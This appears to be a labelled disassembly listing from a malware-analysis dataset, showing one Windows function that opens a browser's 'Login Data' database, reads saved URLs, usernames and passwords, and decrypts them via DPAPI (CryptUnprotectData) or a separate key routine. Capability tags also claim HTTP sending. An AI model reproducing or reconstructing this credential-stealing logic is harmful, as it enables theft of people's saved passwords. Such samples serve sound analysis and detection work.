Function at 0x140020b90
Capabilities:
Connect to http server
Create http request
Encrypt data using dpapi
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f8]
sub rsp, 0x2f8
xor r15d, r15d
lea rbx, [rcx + 0x20]
mov r9, qword [rbx + 0x10]
test r9, r9
jne 0x140020bdd
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 7
mov word [rbp + 0x20], r15w
jmp 0x140020c6e
mov r8, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140020bea
mov r8, qword [rbx]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rdi, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8, rdi
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140002740
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rcx, qword [rsp + 0x40]
mov r9d, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140020c43
mov rbx, qword [rbx]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rcx
mov r8, rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x30], xmm1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x120]
call fcn.140010ad0
nop
cmp byte [rbp + 0x1b0], 0
je 0x140020ca8
lea rdx, str._ERROR__Could_not_open_Login_Data_database.
lea rcx, [0x14006fe90]
call fcn.1400017c0
mov rcx, rax
call fcn.140007890
jmp 0x1400220ad
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov r8d, 6
lea rdx, str.logins
lea rcx, [rsp + 0x40]
call fcn.140002610
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x120]
call fcn.140015d50
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0xe
mov qword [rsp + 0x78], 0xf
movsd xmm0, qword [str.__content_:__]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x140056fe8]
mov dword [rsp + 0x68], eax
movzx eax, word [0x140056fec]
mov word [rsp + 0x6c], ax
mov byte [rsp + 0x6e], 0
lea rcx, [rbp + 0xf0]
call fcn.140017550
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0x100]
sub rax, rcx
cmp rax, 0xa
jb 0x14002217c
lea rax, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova rax, qword [rbp + 0xf0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xa
lea r9, str.Username:
lea r8, [rbp + 0xf0]
movzx edx, byte [rbp + 0x240]
lea rcx, [rbp + 0x40]
call fcn.140010340
nop
mov r8d, 4
lea rdx, str._n_n
lea rcx, [rbp + 0x40]
call fcn.14001a6b0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x40]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x60]
call fcn.14001a6b0
nop
mov r8, qword [rsp + 0x58]
cmp r8, 0xf
jbe 0x140020e1a
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.140017d00
nop
lea rcx, [rbp + 0x40]
call fcn.140012640
mov r12d, r15d
mov dword [rbp + 0x240], r15d
mov rax, qword [rbp + 0x1a0]
sub rax, qword [rbp + 0x198]
sar rax, 5
test eax, eax
jle 0x140021ec6
mov qword [rbp + 0x250], r15
lea rax, [rbp + 0x60]
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x80]
mov qword [rbp + 0x1d8], rax
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x1e0], rax
movzx ebx, byte [rbp + 0x240]
movzx esi, byte [rbp + 0x240]
movzx edi, byte [rbp + 0x240]
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], r15
mov r8d, 0xa
lea rdx, str.origin_url
lea rcx, [rbp + 0x60]
call fcn.140002610
nop
mov r14d, r15d
mov r15, qword [rbp + 0x158]
mov r9, qword [rbp + 0x150]
sub r15, r9
sar r15, 5
test r15, r15
je 0x140021006
mov r12, qword [rbp + 0x78]
mov r11, qword [rbp + 0x70]
mov r13, qword [rbp + 0x60]
mov r10, qword [r9 + 0x10]
test r10, r10
je 0x140020fec
lea rcx, [rbp + 0x60]
cmp r12, 7
cmova rcx, r13
mov r8, r9
cmp qword [r9 + 0x18], 7
jbe 0x140020f09
mov r8, qword [r9]
mov rdx, r10
cmp r11, r10
cmovb rdx, r11
test rdx, rdx
je 0x140020f34
sub r8, rcx
nop dword [rax + rax]
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x140020f3b
add rcx, 2
sub rdx, 1
jne 0x140020f20
cmp r10, r11
jb 0x140020f3b
jbe 0x140020f84
lea rcx, [rbp + 0x60]
cmp r12, 7
cmova rcx, r13
mov rdx, r10
mov r8, r9
cmp qword [r9 + 0x18], 7
jbe 0x140020f57
mov r8, qword [r9]
cmp rdx, r11
jne 0x140020fec
test rdx, rdx
je 0x140020f84
sub r8, rcx
nop dword [rax + rax]
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x140020fec
add rcx, 2
sub rdx, 1
jne 0x140020f70
cmp r14d, 0xffffffff
je 0x140020fff
mov rcx, qword [rbp + 0x1a0]
mov r8, qword [rbp + 0x198]
sub rcx, r8
sar rcx, 5
movsxd r12, dword [rbp + 0x240]
cmp r12, rcx
jae 0x1400211b4
mov rax, qword [rbp + 0x250]
shl rax, 5
mov r9, qword [rax + r8 + 8]
movsxd rdx, r14d
mov rcx, qword [rax + r8 + 0x10]
sub rcx, r9
sar rcx, 5
cmp rdx, rcx
jae 0x1400211b4
shl rdx, 5
add rdx, r9
lea rcx, [rbp]
call fcn.1400105a0
xor r13d, r13d
jmp 0x14002102f
inc r14d
add r9, 0x20
movsxd rax, r14d
cmp rax, r15
jb 0x140020ee3
mov r12d, dword [rbp + 0x240]
mov r8d, 4
lea rdx, str.NULL
xorps xmm0, xmm0
xor r13d, r13d
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
lea rcx, [rbp]
call fcn.140002610
nop
lea rcx, [rbp + 0x60]
call fcn.14001a560
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r13
mov r8d, 0xe
lea rdx, str.username_value
lea rcx, [rbp + 0x80]
call fcn.140002610
nop
mov r14d, r13d
mov r15, qword [rbp + 0x158]
mov r9, qword [rbp + 0x150]
sub r15, r9
sar r15, 5
test r15, r15
je 0x1400211e3
mov r12, qword [rbp + 0x98]
mov r11, qword [rbp + 0x90]
mov r13, qword [rbp + 0x80]
mov r10, qword [r9 + 0x10]
test r10, r10
je 0x1400211c6
lea rcx, [rbp + 0x80]
cmp r12, 7
cmova rcx, r13
mov r8, r9
cmp qword [r9 + 0x18], 7
jbe 0x1400210ca
mov r8, qword [r9]
mov rdx, r10
cmp r11, r10
cmovb rdx, r11
test rdx, rdx
je 0x1400210f4
sub r8, rcx
nop dword [rax]
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x1400210fb
add rcx, 2
sub rdx, 1
jne 0x1400210e0
cmp r10, r11
jb 0x1400210fb
jbe 0x140021148
lea rcx, [rbp + 0x80]
cmp r12, 7
cmova rcx, r13
mov rdx, r10
mov r8, r9
cmp qword [r9 + 0x18], 7
jbe 0x14002111a
mov r8, qword [r9]
cmp rdx, r11
jne 0x1400211c6
test rdx, rdx
je 0x140021148
sub r8, rcx
nop dword [rax + rax]
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x1400211c6
add rcx, 2
sub rdx, 1
jne 0x140021130
cmp r14d, 0xffffffff
je 0x1400211d9
mov rcx, qword [rbp + 0x1a0]
mov r8, qword [rbp + 0x198]
sub rcx, r8
sar rcx, 5
movsxd r12, dword [rbp + 0x240]
cmp r12, rcx
jae 0x140021394
mov rax, qword [rbp + 0x250]
shl rax, 5
mov r9, qword [rax + r8 + 8]
movsxd rdx, r14d
mov rcx, qword [rax + r8 + 0x10]
sub rcx, r9
sar rcx, 5
cmp rdx, rcx
jae 0x140021394
shl rdx, 5
add rdx, r9
lea rcx, [rbp - 0x60]
call fcn.1400105a0
xor r13d, r13d
jmp 0x140021209
mov r8d, 5
lea rdx, str.EMPTY
jmp 0x140021013
inc r14d
add r9, 0x20
movsxd rax, r14d
cmp rax, r15
jb 0x1400210a1
xor r13d, r13d
mov r12d, dword [rbp + 0x240]
mov r8d, 4
lea rdx, str.NULL
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rcx, [rbp - 0x60]
call fcn.140002610
nop
lea rcx, [rbp + 0x80]
call fcn.14001a560
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r13
mov r8d, 0xe
lea rdx, str.password_value
lea rcx, [rbp + 0xa0]
call fcn.140002610
nop
mov r14d, r13d
mov r15, qword [rbp + 0x158]
mov r9, qword [rbp + 0x150]
sub r15, r9
sar r15, 5
test r15, r15
je 0x1400213c3
mov r12, qword [rbp + 0xb8]
mov r11, qword [rbp + 0xb0]
mov r13, qword [rbp + 0xa0]
nop
mov r10, qword [r9 + 0x10]
test r10, r10
je 0x1400213a9
lea rcx, [rbp + 0xa0]
cmp r12, 7
cmova rcx, r13
mov r8, r9
cmp qword [r9 + 0x18], 7
jbe 0x1400212a9
mov r8, qword [r9]
mov rdx, r10
cmp r11, r10
cmovb rdx, r11
test rdx, rdx
je 0x1400212d4
sub r8, rcx
nop dword [rax + rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x1400212db
add rcx, 2
sub rdx, 1
jne 0x1400212c0
cmp r10, r11
jb 0x1400212db
jbe 0x140021328
lea rax, [rbp + 0xa0]
cmp r12, 7
cmova rax, r13
mov rdx, r10
mov r8, r9
cmp qword [r9 + 0x18], 7
jbe 0x1400212fa
mov r8, qword [r9]
cmp rdx, r11
jne 0x1400213a9
test rdx, rdx
je 0x140021328
sub r8, rax
nop dword [rax + rax]
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x1400213a9
add rax, 2
sub rdx, 1
jne 0x140021310
cmp r14d, 0xffffffff
je 0x1400213bc
mov rcx, qword [rbp + 0x1a0]
mov r8, qword [rbp + 0x198]
sub rcx, r8
sar rcx, 5
movsxd r12, dword [rbp + 0x240]
cmp r12, rcx
jae 0x140021429
mov rax, qword [rbp + 0x250]
shl rax, 5
mov r9, qword [rax + r8 + 8]
movsxd rdx, r14d
mov rcx, qword [rax + r8 + 0x10]
sub rcx, r9
sar rcx, 5
cmp rdx, rcx
jae 0x140021429
shl rdx, 5
add rdx, r9
lea rcx, [rbp - 0x80]
call fcn.1400105a0
xor r15d, r15d
jmp 0x1400213ec
xor r13d, r13d
mov r8d, 5
lea rdx, str.EMPTY
jmp 0x1400211f0
inc r14d
add r9, 0x20
movsxd rax, r14d
cmp rax, r15
jb 0x140021280
mov r12d, dword [rbp + 0x240]
mov r8d, 4
lea rdx, str.NULL
xorps xmm0, xmm0
xor r15d, r15d
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
lea rcx, [rbp - 0x80]
call fcn.140002610
nop
lea rcx, [rbp + 0xa0]
call fcn.14001a560
nop
mov r9, qword [rbp + 0x10]
test r9, r9
jne 0x140021438
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov r13, r15
mov qword [rbp + 0x30], r15
mov eax, 0xf
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x38], rax
mov byte [rbp + 0x20], r9b
jmp 0x1400214e6
mov r8d, 5
lea rdx, str.EMPTY
jmp 0x1400213d0
lea r8, [rbp]
cmp qword [rbp + 0x18], 7
cmova r8, qword [rbp]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
mov rdx, r14
xor r8d, r8d
lea rcx, [rsp + 0x40]
call fcn.140010470
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rcx, qword [rsp + 0x40]
lea r8, [rbp]
cmp qword [rbp + 0x18], 7
cmova r8, qword [rbp]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x10]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 8
movq qword [rbp + 0x258], xmm0
movq r13, xmm1
cmp qword [rbp - 0x50], 0
jne 0x140021527
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov rax, r15
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xe0], rax
mov eax, 0xf
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xe8], rax
mov byte [rbp + 0xd0], 0
jmp 0x1400215e2
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova r8, qword [rbp - 0x60]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r9d, dword [rbp - 0x50]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
mov rdx, r14
xor r8d, r8d
lea rcx, [rsp + 0x40]
call fcn.140010470
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rcx, qword [rsp + 0x40]
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova r8, qword [rbp - 0x60]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp - 0x50]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0xe0], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 8
movq qword [rbp + 0xc8], xmm0
movq qword [rbp + 0xc0], xmm1
cmp qword [rbp - 0x70], 0
jne 0x14002160a
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov rcx, r15
mov qword [rbp - 0x10], rcx
mov r9d, 0xf
mov qword [rbp - 8], r9
mov byte [rbp - 0x20], 0
jmp 0x1400216b9
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r8, qword [rbp - 0x80]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r9d, dword [rbp - 0x70]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
mov rdx, r14
xor r8d, r8d
lea rcx, [rsp + 0x40]
call fcn.140010470
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rcx, qword [rsp + 0x40]
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r8, qword [rbp - 0x80]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp - 0x70]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r9, xmm0
movq rcx, xmm1
test rcx, rcx
je 0x1400219c3
mov rdx, qword [rbp + 0x248]
mov rax, qword [rdx + 8]
cmp qword [rdx], rax
je 0x1400219c3
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov r8d, 3
cmp rcx, r8
cmovb r8, rcx
lea rdx, [rbp - 0x20]
cmp r9, 0xf
cmova rdx, qword [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.140002500
lea rcx, [rsp + 0x40]
mov r14, qword [rsp + 0x40]
mov r15, qword [rsp + 0x58]
cmp r15, 0xf
cmova rcx, r14
mov r8, qword [rsp + 0x50]
cmp r8, 3
jne 0x140021743
lea rdx, [0x1400570a8]
call fcn.140052b90
test eax, eax
jne 0x140021743
mov r12b, 1
jmp 0x140021746
xor r12b, r12b
cmp r15, 0xf
jbe 0x14002177d
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140021775
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221a0
mov rcx, r14
call fcn.14002986c
test r12b, r12b
je 0x1400218d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor r15d, r15d
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov rax, qword [rbp - 0x10]
cmp rax, 3
jb 0x140022188
add rax, 0xfffffffffffffffd
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
add rdx, 3
lea rcx, [rsp + 0x40]
call fcn.140002500
nop
mov r8, qword [rbp + 0x248]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.140027950
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14002182b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021826
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140022182
call fcn.14002986c
mov r12d, dword [rbp + 0x240]
movabs r14, 0x7fffffffffffffff
mov rax, r14
sub rax, r13
cmp rax, 5
jb 0x1400221d6
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x258], 0xf
cmova rax, qword [rbp + 0x20]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 5
lea r9, str.URL:
lea r8, [rbp + 0x20]
movzx edx, bl
lea rcx, [rsp + 0x40]
call fcn.140010340
nop
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x1400219ed
lea rax, [rcx + 2]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x40]
mov word [rax + rcx], 0x6e5c
mov byte [rax + rcx + 2], 0
lea rax, [rsp + 0x40]
jmp 0x140021a0f
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rax, qword [rbp - 0x20]
mov qword [rbp + 0x1c8], rax
mov eax, dword [rbp - 0x10]
mov dword [rbp + 0x1c0], eax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x30], rax
xor r15d, r15d
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x1c0]
call sub.CRYPT32.dll_CryptUnprotectData
test eax, eax
je 0x14002196d
mov r8d, dword [rbp + 0x110]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov rdx, qword [rbp + 0x118]
lea rcx, [rsp + 0x40]
call fcn.140002500
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_LocalFree]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x30], xmm1
jmp 0x14002182b
lea rdx, str._ERROR__Failed_to_decrypt_password_with_DPAPI.
lea rcx, [0x14006fe90]
call fcn.1400017c0
mov r14, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140025960
movzx edx, al
mov rcx, r14
call fcn.140020630
mov rcx, r14
call fcn.14001e090
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], r15b
jmp 0x14002182b
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r15
mov r8d, 0x1e
lea rdx, str._ERROR__Empty_password_or_key.
lea rcx, [rbp - 0x40]
call fcn.140002500
jmp 0x140021832
mov qword [rsp + 0x20], 2
lea r9, [0x140057060]
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x40]
call fcn.1400055a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x40]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x60]
call fcn.14001a6b0
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140021a98
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021a92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002218e
call fcn.14002986c
nop
lea rcx, [rsp + 0x40]
call fcn.140012640
mov rax, r14
mov rcx, qword [rbp + 0xc0]
sub rax, rcx
cmp rax, 7
jb 0x1400221d0
lea rax, [rbp + 0xd0]
cmp qword [rbp + 0xc8], 0xf
cmova rax, qword [rbp + 0xd0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.Login:
lea r8, [rbp + 0xd0]
movzx edx, sil
lea rcx, [rsp + 0x40]
call fcn.140010340
nop
mov r8d, 2
lea rdx, [0x140057060]
lea rcx, [rsp + 0x40]
call fcn.14001a6b0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x40]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x60]
call fcn.14001a6b0
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140021ba0
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021b9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140022194
call fcn.14002986c
nop
lea rcx, [rsp + 0x40]
call fcn.140012640
mov rax, r14
mov rcx, qword [rbp - 0x30]
sub rax, rcx
cmp rax, 0xa
jb 0x1400221ca
lea rax, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rax, qword [rbp - 0x40]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xa
lea r9, str.Password:
lea r8, [rbp - 0x40]
movzx edx, dil
lea rcx, [rsp + 0x40]
call fcn.140010340
nop
mov r8d, 4
lea rdx, str._n_n
lea rcx, [rsp + 0x40]
call fcn.14001a6b0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x40]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x60]
call fcn.14001a6b0
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140021c99
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021c93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002219a
call fcn.14002986c
nop
lea rcx, [rsp + 0x40]
call fcn.140012640
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140021cdf
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021cda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221a0
call fcn.14002986c
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140021d2a
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021d25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221a6
call fcn.14002986c
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140021d7c
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021d76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221ac
call fcn.14002986c
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140021db8
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021db2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221b2
call fcn.14002986c
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140021df8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021df3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221b8
call fcn.14002986c
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r15w
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x140021e49
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021e44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221be
call fcn.14002986c
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r15w
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x140021e9a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021e95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221c4
call fcn.14002986c
inc r12d
mov dword [rbp + 0x240], r12d
inc qword [rbp + 0x250]
mov rax, qword [rbp + 0x1a0]
sub rax, qword [rbp + 0x198]
sar rax, 5
cmp r12d, eax
jl 0x140020e90
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
